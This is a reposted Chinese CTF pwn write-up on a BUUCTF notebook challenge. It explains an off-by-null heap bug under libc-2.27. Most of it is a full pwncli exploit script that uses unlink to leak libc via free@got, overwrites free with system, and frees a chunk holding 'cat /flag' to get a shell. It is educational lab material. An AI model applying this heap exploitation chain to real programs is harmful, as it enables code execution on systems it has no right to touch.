ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[BUUCTF] 西湖论剑_2018_小陈的笔记本加强版

2021-10-23 15:31:20  阅读:276  来源: 互联网

标签:BUUCTF 加强版 libc enter please add sendlineafter data 论剑


目录

西湖论剑_2018_小陈的笔记本加强版

总结

常规的libc-2.27版本下的off by nullPIE也没有开启。但是没有办法直接用bss上的堆指针去泄露和修改,所有还是选择了两个大的chunk进行unlink

题目分析

checksec

image-20211017171750709

漏洞点

用户获取用户输入的函数存在off by null

image-20211017171942630

利用思路

  1. 三明治结构,中间夹住一个0x80的存储有指针和长度和一个0x30存储contentchunk
  2. unlink,然后分配到0x80,修改指针为free@got和长度
  3. 泄露出libc地址,利用edit修改free@gotsystem
  4. 释放/bin/sh块获取shell

EXP

exp均使用我自己写的小工具pwncli编写,下面有链接,欢迎试用~

#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']

    
def add(size, data="default", name="lynne"):
    if len(data) < size:
        data += b"\n" if isinstance(data, bytes) else "\n"
    p.sendlineafter(">", "1")
    p.sendlineafter("please enter the name of the notebook:", name)
    p.sendlineafter("please enter the length of the content:", str(size))
    p.sendafter("please enter the content:", data)


def edit(idx, data):
    p.sendlineafter(">", "2")
    p.sendlineafter("please enter the notebook id to edit:", str(idx))
    p.sendafter("please enter the content of the notebook:", data)


def show(idx):
    p.sendlineafter(">", "3")
    p.sendlineafter("please enter the notebook id to show:", str(idx))
    msg = p.recvlines(2)
    info(f"Get msg: {msg}")
    return msg

def dele(idx):
    p.sendlineafter(">", "4")
    p.sendlineafter("please enter the notebook id to delete:", str(idx))

"""
libc-2.27 off by null -- malloc 
"""
# unlink
add(0x10) # 0
add(0x10) # 1
dele(0) 

add(0x420) # 0
add(0x28) # 2
dele(1) 
add(0x4f0) # 1
add(0x10, "cat /flag||a", "cat /flag||a") # 3

# off by null
dele(0)
edit(2, flat({0x20: 0x4f0}))
dele(1)

add(0x4b0, flat({0x4a0: [6, elf.got['free']]}))

_, m = show(2)
libc_base_addr = u64_ex(m[-6:]) - 0x97950
log_libc_base_addr(libc_base_addr)
libc.address = libc_base_addr

edit(2, p64(libc.sym.system)[:6])

dele(3)
p.interactive()

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

标签:BUUCTF,加强版,libc,enter,please,add,sendlineafter,data,论剑
来源: https://www.cnblogs.com/LynneHuan/p/15444188.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有